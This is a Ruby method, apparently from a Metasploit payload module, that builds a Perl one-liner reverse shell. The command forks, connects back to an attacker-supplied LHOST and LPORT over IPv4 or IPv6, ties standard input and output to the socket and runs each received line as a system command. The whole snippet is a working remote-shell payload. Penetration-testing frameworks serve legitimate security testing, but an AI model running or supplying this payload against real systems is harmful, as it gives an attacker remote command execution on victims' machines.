def command_string
    lhost = datastore['LHOST']
    ver   = Rex::Socket.is_ipv6?(lhost) ? "6" : ""
    lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost)
    cmd   = %{#{datastore['PerlPath']} -MIO -e "$p=fork;exit,if($p);$c=new IO::Socket::INET#{ver}(PeerAddr,\\"#{lhost}:#{datastore['LPORT']}\\");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;"}